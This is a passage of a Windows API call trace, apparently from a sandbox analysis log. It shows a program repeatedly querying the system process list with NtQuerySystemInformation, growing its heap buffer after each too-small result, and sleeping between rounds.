	[0073.389] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0073.389] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x25534) returned 0x28de680
	[0073.390] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.390] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x26558) returned 0x28de680
	[0073.390] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0073.393] Sleep (dwMilliseconds=0x64) 
	[0076.695] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2883288, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2883288, ResultLength=0x0) returned 0xc0000004
	[0076.701] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2883288, Size=0x2048) returned 0x28c08a8
	[0076.701] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c08a8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c08a8, ResultLength=0x0) returned 0xc0000004
	[0076.702] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c08a8, Size=0x306c) returned 0x2894bd8
	[0076.702] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0076.703] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0076.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0076.703] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0076.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0076.704] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0076.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0076.705] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0076.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0076.705] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0076.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0076.706] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0076.706] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0076.706] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0076.706] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0076.706] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0076.707] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0076.707] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0076.707] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0076.707] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0076.707] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0076.708] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0076.708] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0076.708] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0076.709] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0076.709] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0076.709] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0076.709] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0076.710] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0076.710] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0076.710] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0076.711] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0076.713] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.713] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0076.714] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.714] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0076.714] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.715] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0076.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.715] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0076.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.716] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0076.716] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.717] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0076.717] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.717] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0076.717] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.718] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0076.718] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.718] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0076.718] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.719] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0076.719] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.720] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0076.720] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.720] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0076.720] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.721] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0076.721] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.721] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0076.721] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.722] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0076.722] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.722] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0076.722] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.723] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0076.723] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.724] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x25534) returned 0x28de680
	[0076.724] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.724] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x26558) returned 0x28de680
	[0076.724] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.725] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2757c) returned 0x28de680
	[0076.725] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.726] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x285a0) returned 0x28de680
	[0076.726] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0076.727] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x295c4) returned 0x28de680
	[0076.727] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0077.358] Sleep (dwMilliseconds=0x64) 
	[0078.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28887b0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28887b0, ResultLength=0x0) returned 0xc0000004
	[0078.280] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28887b0, Size=0x2048) returned 0x28cb2d0
	[0078.281] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28cb2d0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28cb2d0, ResultLength=0x0) returned 0xc0000004
	[0078.282] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28cb2d0, Size=0x306c) returned 0x2894bd8
	[0078.282] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0078.285] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0078.285] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0078.286] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0078.288] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0078.289] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0078.294] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0078.295] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0078.295] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0078.321] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0078.321] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0078.322] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0078.322] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0078.323] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0078.323] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0078.323] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0078.323] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0078.323] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0078.324] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0078.324] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0078.324] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0078.324] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0078.324] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0078.325] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0078.325] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0078.325] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0078.325] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0078.326] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0078.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0078.326] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0078.326] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0078.327] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0078.329] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.329] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0078.329] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.330] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0078.330] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.330] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0078.330] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.331] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0078.331] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.331] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0078.331] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.332] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0078.332] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.332] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0078.332] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.333] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0078.333] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.333] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0078.334] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.334] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0078.334] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.335] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0078.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.335] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0078.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.336] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0078.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.336] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0078.336] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.337] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0078.337] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.338] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0078.338] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.339] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0078.339] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.339] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x25534) returned 0x28de680
	[0078.339] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.340] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x26558) returned 0x28de680
	[0078.340] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.341] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2757c) returned 0x28de680
	[0078.341] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.341] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x285a0) returned 0x28de680
	[0078.341] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.342] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x295c4) returned 0x28de680
	[0078.342] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.343] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2a5e8) returned 0x28de680
	[0078.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.343] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2b60c) returned 0x28de680
	[0078.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0078.344] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x2c630) returned 0x28de680
